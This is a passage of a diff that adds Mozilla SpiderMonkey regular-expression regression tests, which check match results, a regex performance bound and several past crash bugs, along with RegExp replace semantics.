+expectedmatch = Array(string, 'AAABBB', cnSingleSpace, 'BBB');
+addThis();
+
+status = inSection(3);
+string = 'AAABBB AAABBB'; //single space in the middle
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+
+pattern = /^(A+B)+$/;
+status = inSection(4);
+string = 'AABAAB';
+actualmatch = string.match(pattern);
+expectedmatch = Array(string, 'AAB');
+addThis();
+
+status = inSection(5);
+string = 'ABAABAAAAAAB';
+actualmatch = string.match(pattern);
+expectedmatch = Array(string, 'AAAAAAB');
+addThis();
+
+status = inSection(6);
+string = 'ABAABAABAB';
+actualmatch = string.match(pattern);
+expectedmatch = Array(string, 'AB');
+addThis();
+
+status = inSection(7);
+string = 'ABAABAABABB';
+actualmatch = string.match(pattern);
+expectedmatch = null; // because string doesn't match at end
+addThis();
+
+
+pattern = /^(A+1)+$/;
+status = inSection(8);
+string = 'AA1AA1';
+actualmatch = string.match(pattern);
+expectedmatch = Array(string, 'AA1');
+addThis();
+
+
+pattern = /^(\w+\-)+$/;
+status = inSection(9);
+string = '';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(10);
+string = 'bla-';
+actualmatch = string.match(pattern);
+expectedmatch = Array(string, string);
+addThis();
+
+status = inSection(11);
+string = 'bla-bla'; // hyphen missing at end -
+actualmatch = string.match(pattern);
+expectedmatch = null; //because string doesn't match at end
+addThis();
+
+status = inSection(12);
+string = 'bla-bla-';
+actualmatch = string.match(pattern);
+expectedmatch = Array(string, 'bla-');
+addThis();
+
+
+pattern = /^(\S+)+(A+)$/;
+status = inSection(13);
+string = 'asdldflkjAAA';
+actualmatch = string.match(pattern);
+expectedmatch = Array(string, 'asdldflkjAA', 'A');
+addThis();
+
+status = inSection(14);
+string = 'asdldflkj AAA'; // space in middle
+actualmatch = string.match(pattern);
+expectedmatch = null; //because of the space
+addThis();
+
+
+pattern = /^(\S+)+(\d+)$/;
+status = inSection(15);
+string = 'asdldflkj122211';
+actualmatch = string.match(pattern);
+expectedmatch = Array(string, 'asdldflkj12221', '1');
+addThis();
+
+status = inSection(16);
+string = 'asdldflkj1111111aaa1';
+actualmatch = string.match(pattern);
+expectedmatch = Array(string, 'asdldflkj1111111aaa', '1');
+addThis();
+
+
+/*
+ * This one comes from Stephen Ostermiller.
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=69989
+ */
+pattern = /^[A-Za-z0-9]+((\.|-)[A-Za-z0-9]+)+$/;
+status = inSection(17);
+string = 'some.host.tld';
+actualmatch = string.match(pattern);
+expectedmatch = Array(string, '.tld', '.');
+addThis();
+
+
+
+//-------------------------------------------------------------------------------------------------
+test();
+//-------------------------------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusmessages[i] = status;
+ patterns[i] = pattern;
+ strings[i] = string;
+ actualmatches[i] = actualmatch;
+ expectedmatches[i] = expectedmatch;
+ i++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+ testRegExp(statusmessages, patterns, strings, actualmatches, expectedmatches);
+}
diff --git a/js/src/tests/non262/RegExp/regress-72964.js b/js/src/tests/non262/RegExp/regress-72964.js
new file mode 100644
index 0000000000..70ca502ff1
--- /dev/null
+++ b/js/src/tests/non262/RegExp/regress-72964.js
@@ -0,0 +1,85 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 2001-07-17
+ *
+ * SUMMARY: Regression test for Bugzilla bug 72964:
+ * "String method for pattern matching failed for Chinese Simplified (GB2312)"
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=72964
+ */
+//-----------------------------------------------------------------------------
+var i = 0;
+var BUGNUMBER = 72964;
+var summary = 'Testing regular expressions containing non-Latin1 characters';
+var cnSingleSpace = ' ';
+var status = '';
+var statusmessages = new Array();
+var pattern = '';
+var patterns = new Array();
+var string = '';
+var strings = new Array();
+var actualmatch = '';
+var actualmatches = new Array();
+var expectedmatch = '';
+var expectedmatches = new Array();
+
+
+pattern = /[\S]+/;
+// 4 low Unicode chars = Latin1; whole string should match
+status = inSection(1);
+string = '\u00BF\u00CD\u00BB\u00A7';
+actualmatch = string.match(pattern);
+expectedmatch = Array(string);
+addThis();
+
+// Now put a space in the middle; first half of string should match
+status = inSection(2);
+string = '\u00BF\u00CD \u00BB\u00A7';
+actualmatch = string.match(pattern);
+expectedmatch = Array('\u00BF\u00CD');
+addThis();
+
+
+// 4 high Unicode chars = non-Latin1; whole string should match
+status = inSection(3);
+string = '\u4e00\uac00\u4e03\u4e00';
+actualmatch = string.match(pattern);
+expectedmatch = Array(string);
+addThis();
+
+// Now put a space in the middle; first half of string should match
+status = inSection(4);
+string = '\u4e00\uac00 \u4e03\u4e00';
+actualmatch = string.match(pattern);
+expectedmatch = Array('\u4e00\uac00');
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusmessages[i] = status;
+ patterns[i] = pattern;
+ strings[i] = string;
+ actualmatches[i] = actualmatch;
+ expectedmatches[i] = expectedmatch;
+ i++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+ testRegExp(statusmessages, patterns, strings, actualmatches, expectedmatches);
+}
diff --git a/js/src/tests/non262/RegExp/regress-76683.js b/js/src/tests/non262/RegExp/regress-76683.js
new file mode 100644
index 0000000000..ff839bb0ca
--- /dev/null
+++ b/js/src/tests/non262/RegExp/regress-76683.js
@@ -0,0 +1,78 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 01 May 2001
+ *
+ * SUMMARY: Regression test for Bugzilla bug 76683 on Rhino:
+ * "RegExp regression (NullPointerException)"
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=76683
+ */
+//-----------------------------------------------------------------------------
+var i = 0;
+var BUGNUMBER = 76683;
+var summary = 'Regression test for Bugzilla bug 76683';
+var status = '';
+var statusmessages = new Array();
+var pattern = '';
+var patterns = new Array();
+var string = '';
+var strings = new Array();
+var actualmatch = '';
+var actualmatches = new Array();
+var expectedmatch = '';
+var expectedmatches = new Array();
+
+
+/*
+ * Rhino (2001-04-19) crashed on the 3rd regular expression below.
+ * It didn't matter what the string was. No problem in SpiderMonkey -
+ */
+string = 'abc';
+status = inSection(1);
+pattern = /(<!--([^-]|-[^-]|--[^>])*-->)|(<([\$\w:\.\-]+)((([ ][^\/>]*)?\/>)|(([ ][^>]*)?>)))/;
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(2);
+pattern = /(<!--([^-]|-[^-]|--[^>])*-->)|(<(tagPattern)((([ ][^\/>]*)?\/>)|(([ ][^>]*)?>)))/;
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+// This was the one causing a Rhino crash -
+status = inSection(3);
+pattern = /(<!--([^-]|-[^-]|--[^>])*-->)|(<(tagPattern)((([ ][^\/>]*)?\/>)|(([ ][^>]*)?>)))|(<\/tagPattern[^>]*>)/;
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+
+
+//-------------------------------------------------------------------------------------------------
+test();
+//-------------------------------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusmessages[i] = status;
+ patterns[i] = pattern;
+ strings[i] = string;
+ actualmatches[i] = actualmatch;
+ expectedmatches[i] = expectedmatch;
+ i++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+ testRegExp(statusmessages, patterns, strings, actualmatches, expectedmatches);
+}
diff --git a/js/src/tests/non262/RegExp/regress-78156.js b/js/src/tests/non262/RegExp/regress-78156.js
new file mode 100644
index 0000000000..01ef647638
--- /dev/null
+++ b/js/src/tests/non262/RegExp/regress-78156.js
@@ -0,0 +1,87 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 06 February 2001
+ *
+ * SUMMARY: Arose from Bugzilla bug 78156:
+ * "m flag of regular expression does not work with $"
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=78156
+ *
+ * The m flag means a regular expression should search strings
+ * across multiple lines, i.e. across '\n', '\r'.
+ */
+//-----------------------------------------------------------------------------
+var i = 0;
+var BUGNUMBER = 78156;
+var summary = 'Testing regular expressions with ^, $, and the m flag -';
+var status = '';
+var statusmessages = new Array();
+var pattern = '';
+var patterns = new Array();
+var string = '';
+var strings = new Array();
+var actualmatch = '';
+var actualmatches = new Array();
+var expectedmatch = '';
+var expectedmatches = new Array();
+
+/*
+ * All patterns have an m flag; all strings are multiline.
+ * Looking for digit characters at beginning/end of lines.
+ */
+
+string = 'aaa\n789\r\nccc\r\n345';
+status = inSection(1);
+pattern = /^\d/gm;
+actualmatch = string.match(pattern);
+expectedmatch = ['7','3'];
+addThis();
+
+status = inSection(2);
+pattern = /\d$/gm;
+actualmatch = string.match(pattern);
+expectedmatch = ['9','5'];
+addThis();
+
+string = 'aaa\n789\r\nccc\r\nddd';
+status = inSection(3);
+pattern = /^\d/gm;
+actualmatch = string.match(pattern);
+expectedmatch = ['7'];
+addThis();
+
+status = inSection(4);
+pattern = /\d$/gm;
+actualmatch = string.match(pattern);
+expectedmatch = ['9'];
+addThis();
+
+
+
+//-------------------------------------------------------------------------------------------------
+test();
+//-------------------------------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusmessages[i] = status;
+ patterns[i] = pattern;
+ strings[i] = string;
+ actualmatches[i] = actualmatch;
+ expectedmatches[i] = expectedmatch;
+ i++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+ testRegExp(statusmessages, patterns, strings, actualmatches, expectedmatches);
+}
diff --git a/js/src/tests/non262/RegExp/regress-85721.js b/js/src/tests/non262/RegExp/regress-85721.js
new file mode 100644
index 0000000000..e04ae97f35
--- /dev/null
+++ b/js/src/tests/non262/RegExp/regress-85721.js
@@ -0,0 +1,243 @@
+// |reftest| random -- bogus perf test (bug 467263)
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 14 Feb 2002
+ * SUMMARY: Performance: Regexp performance degraded from 4.7
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=85721
+ *
+ * Adjust this testcase if necessary. The FAST constant defines
+ * an upper bound in milliseconds for any execution to take.
+ *
+ */
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 85721;
+var summary = 'Performance: execution of regular expression';
+var FAST = 100; // execution should be 100 ms or less to pass the test
+var MSG_FAST = 'Execution took less than ' + FAST + ' ms';
+var MSG_SLOW = 'Execution took ';
+var MSG_MS = ' ms';
+var str = '';
+var re = '';
+var status = '';
+var actual = '';
+var expect= '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+
+function elapsedTime(startTime)
+{
+ return new Date() - startTime;
+}
+
+
+function isThisFast(ms)
+{
+ if (ms <= FAST)
+ return MSG_FAST;
+ return MSG_SLOW + ms + MSG_MS;
+}
+
+
+
+/*
+ * The first regexp. We'll test for performance (Section 1) and accuracy (Section 2).
+ */
+str='<sql:connection id="conn1"> <sql:url>www.m.com</sql:url> <sql:driver>drive.class</sql:driver>\n<sql:userId>foo</sql:userId> <sql:password>goo</sql:password> </sql:connection>';
+re = /<sql:connection id="([^\r\n]*?)">\s*<sql:url>\s*([^\r\n]*?)\s*<\/sql:url>\s*<sql:driver>\s*([^\r\n]*?)\s*<\/sql:driver>\s*(\s*<sql:userId>\s*([^\r\n]*?)\s*<\/sql:userId>\s*)?\s*(\s*<sql:password>\s*([^\r\n]*?)\s*<\/sql:password>\s*)?\s*<\/sql:connection>/;
+expect = Array("<sql:connection id=\"conn1\"> <sql:url>www.m.com</sql:url> <sql:driver>drive.class</sql:driver>\n<sql:userId>foo</sql:userId> <sql:password>goo</sql:password> </sql:connection>","conn1","www.m.com","drive.class","<sql:userId>foo</sql:userId> ","foo","<sql:password>goo</sql:password> ","goo");
+
+/*
+ * Check performance -
+ */
+status = inSection(1);
+var start = new Date();
+var result = re.exec(str);
+actual = elapsedTime(start);
+reportCompare(isThisFast(FAST), isThisFast(actual), status);
+
+/*
+ * Check accuracy -
+ */
+status = inSection(2);
+testRegExp([status], [re], [str], [result], [expect]);
+
+
+
+/*
+ * The second regexp (HUGE!). We'll test for performance (Section 3) and accuracy (Section 4).
+ * It comes from the O'Reilly book "Mastering Regular Expressions" by Jeffrey Friedl, Appendix B
+ */
+
+//# Some things for avoiding backslashitis later on.
+$esc = '\\\\';
+$Period = '\.';
+$space = '\040'; $tab = '\t';
+$OpenBR = '\\['; $CloseBR = '\\]';
+$OpenParen = '\\('; $CloseParen = '\\)';
+$NonASCII = '\x80-\xff'; $ctrl = '\000-\037';
+$CRlist = '\n\015'; //# note: this should really be only \015.
+// Items 19, 20, 21
+$qtext = '[^' + $esc + $NonASCII + $CRlist + '\"]'; // # for within "..."
+$dtext = '[^' + $esc + $NonASCII + $CRlist + $OpenBR + $CloseBR + ']'; // # for within [...]
+$quoted_pair = $esc + '[^' + $NonASCII + ']'; // # an escaped character
+
+//##############################################################################
+//# Items 22 and 23, comment.
+//# Impossible to do properly with a regex, I make do by allowing at most one level of nesting.
+$ctext = '[^' + $esc + $NonASCII + $CRlist + '()]';
+
+//# $Cnested matches one non-nested comment.
+//# It is unrolled, with normal of $ctext, special of $quoted_pair.
+$Cnested =
+ $OpenParen + // # (
+ $ctext + '*' + // # normal*
+ '(?:' + $quoted_pair + $ctext + '*)*' + // # (special normal*)*
+ $CloseParen; // # )
+
+
+//# $comment allows one level of nested parentheses
+//# It is unrolled, with normal of $ctext, special of ($quoted_pair|$Cnested)
+$comment =
+ $OpenParen + // # (
+ $ctext + '*' + // # normal*
+ '(?:' + // # (
+ '(?:' + $quoted_pair + '|' + $Cnested + ')' + // # special
+ $ctext + '*' + // # normal*
+ ')*' + // # )*
+ $CloseParen; // # )
+
+
+//##############################################################################
+//# $X is optional whitespace/comments.
+$X =
+ '[' + $space + $tab + ']*' + // # Nab whitespace.
+ '(?:' + $comment + '[' + $space + $tab + ']*)*'; // # If comment found, allow more spaces.
+
+
+//# Item 10: atom
+$atom_char = '[^(' + $space + '<>\@,;:\".' + $esc + $OpenBR + $CloseBR + $ctrl + $NonASCII + ']';
+$atom =
+ $atom_char + '+' + // # some number of atom characters...
+ '(?!' + $atom_char + ')'; // # ..not followed by something that could be part of an atom
+
+// # Item 11: doublequoted string, unrolled.
+$quoted_str =
+ '\"' + // # "
+ $qtext + '*' + // # normal
+ '(?:' + $quoted_pair + $qtext + '*)*' + // # ( special normal* )*
+ '\"'; // # "
+
+//# Item 7: word is an atom or quoted string
+$word =
+ '(?:' +
+ $atom + // # Atom
+ '|' + // # or
+ $quoted_str + // # Quoted string
+ ')'
+
+//# Item 12: domain-ref is just an atom
+ $domain_ref = $atom;
+
+//# Item 13: domain-literal is like a quoted string, but [...] instead of "..."
+$domain_lit =
+ $OpenBR + // # [
+ '(?:' + $dtext + '|' + $quoted_pair + ')*' + // # stuff
+ $CloseBR; // # ]
+
+// # Item 9: sub-domain is a domain-ref or domain-literal
+$sub_domain =
+ '(?:' +
+ $domain_ref +
+ '|' +
+ $domain_lit +
+ ')' +
+ $X; // # optional trailing comments
+
+// # Item 6: domain is a list of subdomains separated by dots.
+$domain =
+ $sub_domain +
+ '(?:' +
+ $Period + $X + $sub_domain +
+ ')*';
+
+//# Item 8: a route. A bunch of "@ $domain" separated by commas, followed by a colon.
+$route =
+ '\@' + $X + $domain +
+ '(?:,' + $X + '\@' + $X + $domain + ')*' + // # additional domains
+ ':' +
+ $X; // # optional trailing comments
+
+//# Item 6: local-part is a bunch of $word separated by periods
+$local_part =
+ $word + $X
+ '(?:' +
+ $Period + $X + $word + $X + // # additional words
+ ')*';
+
+// # Item 2: addr-spec is local@domain
+$addr_spec =
+ $local_part + '\@' + $X + $domain;
+
+//# Item 4: route-addr is <route? addr-spec>
+$route_addr =
+ '<' + $X + // # <
+ '(?:' + $route + ')?' + // # optional route
+ $addr_spec + // # address spec
+ '>'; // # >
+
+//# Item 3: phrase........
+$phrase_ctrl = '\000-\010\012-\037'; // # like ctrl, but without tab
+
+//# Like atom-char, but without listing space, and uses phrase_ctrl.
+//# Since the class is negated, this matches the same as atom-char plus space and tab
+$phrase_char =
+ '[^()<>\@,;:\".' + $esc + $OpenBR + $CloseBR + $NonASCII + $phrase_ctrl + ']';
+
+// # We've worked it so that $word, $comment, and $quoted_str to not consume trailing $X
+// # because we take care of it manually.
+$phrase =
+ $word + // # leading word
+ $phrase_char + '*' + // # "normal" atoms and/or spaces
+ '(?:' +
+ '(?:' + $comment + '|' + $quoted_str + ')' + // # "special" comment or quoted string
+ $phrase_char + '*' + // # more "normal"
+ ')*';
+
+// ## Item #1: mailbox is an addr_spec or a phrase/route_addr
+$mailbox =
+ $X + // # optional leading comment
+ '(?:' +
+ $phrase + $route_addr + // # name and address
+ '|' + // # or
+ $addr_spec + // # address
+ ')';
+
+
+//###########################################################################
+
+
+re = new RegExp($mailbox, "g");
+str = 'Jeffy<"That Tall Guy"@ora.com (this address is no longer active)>';
+expect = Array('Jeffy<"That Tall Guy"@ora.com (this address is no longer active)>');
+
+/*
+ * Check performance -
+ */
+status = inSection(3);
+var start = new Date();
+var result = re.exec(str);
+actual = elapsedTime(start);
+reportCompare(isThisFast(FAST), isThisFast(actual), status);
+
+/*
+ * Check accuracy -
+ */
+status = inSection(4);
+testRegExp([status], [re], [str], [result], [expect]);
diff --git a/js/src/tests/non262/RegExp/regress-87231.js b/js/src/tests/non262/RegExp/regress-87231.js
new file mode 100644
index 0000000000..9d5adaedeb
--- /dev/null
+++ b/js/src/tests/non262/RegExp/regress-87231.js
@@ -0,0 +1,109 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 22 June 2001
+ *
+ * SUMMARY: Regression test for Bugzilla bug 87231:
+ * "Regular expression /(A)?(A.*)/ picks 'A' twice"
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=87231
+ * Key case:
+ *
+ * pattern = /^(A)?(A.*)$/;
+ * string = 'A';
+ * expectedmatch = Array('A', '', 'A');
+ *
+ *
+ * We expect the 1st subexpression (A)? NOT to consume the single 'A'.
+ * Recall that "?" means "match 0 or 1 times". Here, it should NOT do
+ * greedy matching: it should match 0 times instead of 1. This allows
+ * the 2nd subexpression to make the only match it can: the single 'A'.
+ * Such "altruism" is the only way there can be a successful global match...
+ */
+//-----------------------------------------------------------------------------
+var i = 0;
+var BUGNUMBER = 87231;
+var cnEmptyString = '';
+var summary = 'Testing regular expression /(A)?(A.*)/';
+var status = '';
+var statusmessages = new Array();
+var pattern = '';
+var patterns = new Array();
+var string = '';
+var strings = new Array();
+var actualmatch = '';
+var actualmatches = new Array();
+var expectedmatch = '';
+var expectedmatches = new Array();
+
+
+pattern = /^(A)?(A.*)$/;
+status = inSection(1);
+string = 'AAA';
+actualmatch = string.match(pattern);
+expectedmatch = Array('AAA', 'A', 'AA');
+addThis();
+
+status = inSection(2);
+string = 'AA';
+actualmatch = string.match(pattern);
+expectedmatch = Array('AA', 'A', 'A');
+addThis();
+
+status = inSection(3);
+string = 'A';
+actualmatch = string.match(pattern);
+expectedmatch = Array('A', undefined, 'A'); // 'altruistic' case: see above
+addThis();
+
+
+pattern = /(A)?(A.*)/;
+var strL = 'zxcasd;fl\\\ ^';
+var strR = 'aaAAaaaf;lrlrzs';
+
+status = inSection(4);
+string = strL + 'AAA' + strR;
+actualmatch = string.match(pattern);
+expectedmatch = Array('AAA' + strR, 'A', 'AA' + strR);
+addThis();
+
+status = inSection(5);
+string = strL + 'AA' + strR;
+actualmatch = string.match(pattern);
+expectedmatch = Array('AA' + strR, 'A', 'A' + strR);
+addThis();
+
+status = inSection(6);
+string = strL + 'A' + strR;
+actualmatch = string.match(pattern);
+expectedmatch = Array('A' + strR, undefined, 'A' + strR); // 'altruistic' case: see above
+addThis();
+
+
+
+//-------------------------------------------------------------------------------------------------
+test();
+//-------------------------------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusmessages[i] = status;
+ patterns[i] = pattern;
+ strings[i] = string;
+ actualmatches[i] = actualmatch;
+ expectedmatches[i] = expectedmatch;
+ i++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+ testRegExp(statusmessages, patterns, strings, actualmatches, expectedmatches);
+}
diff --git a/js/src/tests/non262/RegExp/regress-9141.js b/js/src/tests/non262/RegExp/regress-9141.js
new file mode 100644
index 0000000000..b95e40aaa1
--- /dev/null
+++ b/js/src/tests/non262/RegExp/regress-9141.js
@@ -0,0 +1,71 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+
+/**
+ * File Name: regress-9141.js
+ * Reference: "http://bugzilla.mozilla.org/show_bug.cgi?id=9141";
+ * Description:
+ * From waldemar@netscape.com:
+ *
+ * The following page crashes the system:
+ *
+ * <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"
+ * "http://www.w3.org/TR/REC-html40/loose.dtd">
+ * <HTML>
+ * <HEAD>
+ * </HEAD>
+ * <BODY>
+ * <SCRIPT type="text/javascript">
+ * var s = "x";
+ * for (var i = 0; i != 13; i++) s += s;
+ * var a = /(?:xx|x)*[slash](s);
+ * var b = /(xx|x)*[slash](s);
+ * document.write("Results = " + a.length + "," + b.length);
+ * </SCRIPT>
+ * </BODY>
+ */
+
+var SECTION = "js1_2"; // provide a document reference (ie, ECMA section)
+var TITLE = "Regression test for bugzilla # 9141"; // Provide ECMA section title or a description
+var BUGNUMBER = "http://bugzilla.mozilla.org/show_bug.cgi?id=9141"; // Provide URL to bugsplat or bugzilla report
+
+printBugNumber(BUGNUMBER);
+
+/*
+ * Calls to AddTestCase here. AddTestCase is a function that is defined
+ * in shell.js and takes three arguments:
+ * - a string representation of what is being tested
+ * - the expected result
+ * - the actual result
+ *
+ * For example, a test might look like this:
+ *
+ * var zip = /[\d]{5}$/;
+ *
+ * AddTestCase(
+ * "zip = /[\d]{5}$/; \"PO Box 12345 Boston, MA 02134\".match(zip)", // description of the test
+ * "02134", // expected result
+ * "PO Box 12345 Boston, MA 02134".match(zip) ); // actual result
+ *
+ */
+
+var s = "x";
+for (var i = 0; i != 13; i++) s += s;
+var a = /(?:xx|x)*/.exec(s);
+var b = /(xx|x)*/.exec(s);
+
+AddTestCase( "var s = 'x'; for (var i = 0; i != 13; i++) s += s; " +
+ "a = /(?:xx|x)*/.exec(s); a.length",
+ 1,
+ a.length );
+
+AddTestCase( "var b = /(xx|x)*/.exec(s); b.length",
+ 2,
+ b.length );
+
+test(); // leave this alone. this executes the test cases and
+// displays results.
diff --git a/js/src/tests/non262/RegExp/regress-98306.js b/js/src/tests/non262/RegExp/regress-98306.js
new file mode 100644
index 0000000000..261f0de316
--- /dev/null
+++ b/js/src/tests/non262/RegExp/regress-98306.js
@@ -0,0 +1,63 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 04 September 2001
+ *
+ * SUMMARY: Regression test for Bugzilla bug 98306
+ * "JS parser crashes in ParseAtom for script using Regexp()"
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=98306
+ */
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 98306;
+var summary = "Testing that we don't crash on this code -";
+var cnUBOUND = 10;
+var re;
+var s;
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ s = '"Hello".match(/[/]/)';
+ tryThis(s);
+
+ s = 're = /[/';
+ tryThis(s);
+
+ s = 're = /[/]/';
+ tryThis(s);
+
+ s = 're = /[//]/';
+ tryThis(s);
+
+ reportCompare('No Crash', 'No Crash', '');
+}
+
+
+// Try to provoke a crash -
+function tryThis(sCode)
+{
+ // sometimes more than one attempt is necessary -
+ for (var i=0; i<cnUBOUND; i++)
+ {
+ try
+ {
+ eval(sCode);
+ }
+ catch(e)
+ {
+ // do nothing; keep going -
+ }
+ }
+}
diff --git a/js/src/tests/non262/RegExp/regress-yarr-regexp.js b/js/src/tests/non262/RegExp/regress-yarr-regexp.js
new file mode 100644
index 0000000000..58cea3f4f0
--- /dev/null
+++ b/js/src/tests/non262/RegExp/regress-yarr-regexp.js
@@ -0,0 +1,18 @@
+var gcgcz = /((?:.)+)((?:.)*)/; /* Greedy capture, greedy capture zero. */
+assertEqArray(["a", "a", ""], gcgcz.exec("a"));
+assertEqArray(["ab", "ab", ""], gcgcz.exec("ab"));
+assertEqArray(["abc", "abc", ""], gcgcz.exec("abc"));
+
+assertEqArray(["a", ""], /((?:)*?)a/.exec("a"));
+assertEqArray(["a", ""], /((?:.)*?)a/.exec("a"));
+assertEqArray(["a", ""], /a((?:.)*)/.exec("a"));
+
+assertEqArray(["B", "B"], /([A-Z])/.exec("fooBar"));
+
+// These just mustn't crash. See bug 872971
+try { reportCompare(/x{2147483648}x/.test('1'), false); } catch (e) {}
+try { reportCompare(/x{2147483648,}x/.test('1'), false); } catch (e) {}
+try { reportCompare(/x{2147483647,2147483648}x/.test('1'), false); } catch (e) {}
+// Same for these. See bug 813366
+try { reportCompare("".match(/.{2147483647}11/), null); } catch (e) {}
+try { reportCompare("".match(/(?:(?=g)).{2147483648,}/ + ""), null); } catch (e) {}
diff --git a/js/src/tests/non262/RegExp/replace-compile-elembase.js b/js/src/tests/non262/RegExp/replace-compile-elembase.js
new file mode 100644
index 0000000000..591d27cfe9
--- /dev/null
+++ b/js/src/tests/non262/RegExp/replace-compile-elembase.js
@@ -0,0 +1,22 @@
+(function() {
+ var rx = /a/g;
+ var b = {
+ get a() {
+ rx.compile("b");
+ return "A";
+ }
+ };
+
+ // Replacer function which is applicable for the elem-base optimization in
+ // RegExp.prototype.@@replace.
+ function replacer(a) {
+ return b[a];
+ }
+
+ var result = rx[Symbol.replace]("aaa", replacer);
+
+ assertEq(result, "AAA");
+})();
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/replace-compile.js b/js/src/tests/non262/RegExp/replace-compile.js
new file mode 100644
index 0000000000..45359037af
--- /dev/null
+++ b/js/src/tests/non262/RegExp/replace-compile.js
@@ -0,0 +1,21 @@
+var BUGNUMBER = 1287524;
+var summary = 'RegExp.prototype[@@replace] should call replacer function after collecting all matches.';
+
+print(BUGNUMBER + ": " + summary);
+
+var rx = RegExp("a", "g");
+var r = rx[Symbol.replace]("abba", function() {
+ rx.compile("b", "g");
+ return "?";
+});
+assertEq(r, "?bb?");
+
+rx = RegExp("a", "g");
+r = "abba".replace(rx, function() {
+ rx.compile("b", "g");
+ return "?";
+});
+assertEq(r, "?bb?");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/replace-global-unicode.js b/js/src/tests/non262/RegExp/replace-global-unicode.js
new file mode 100644
index 0000000000..80b3ea1996
--- /dev/null
+++ b/js/src/tests/non262/RegExp/replace-global-unicode.js
@@ -0,0 +1,18 @@
+var BUGNUMBER = 1287524;
+var summary = 'RegExp.prototype[@@replace] should not use optimized path if RegExp.prototype.unicode is modified.';
+
+print(BUGNUMBER + ": " + summary);
+
+Object.defineProperty(RegExp.prototype, "unicode", {
+ get() {
+ RegExp.prototype.exec = () => null;
+ }
+});
+
+var rx = RegExp("a", "g");
+var s = "abba";
+var r = rx[Symbol.replace](s, "c");
+assertEq(r, "abba");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/replace-local-tolength-lastindex.js b/js/src/tests/non262/RegExp/replace-local-tolength-lastindex.js
new file mode 100644
index 0000000000..7ba840e000
--- /dev/null
+++ b/js/src/tests/non262/RegExp/replace-local-tolength-lastindex.js
@@ -0,0 +1,22 @@
+// RegExp.prototype[@@replace] always executes ToLength(regExp.lastIndex) for
+// non-global RegExps.
+
+for (var flag of ["", "g", "y", "gy"]) {
+ var regExp = new RegExp("a", flag);
+
+ var called = false;
+ regExp.lastIndex = {
+ valueOf() {
+ assertEq(called, false);
+ called = true;
+ return 0;
+ }
+ };
+
+ assertEq(called, false);
+ regExp[Symbol.replace]("");
+ assertEq(called, !flag.includes("g"));
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
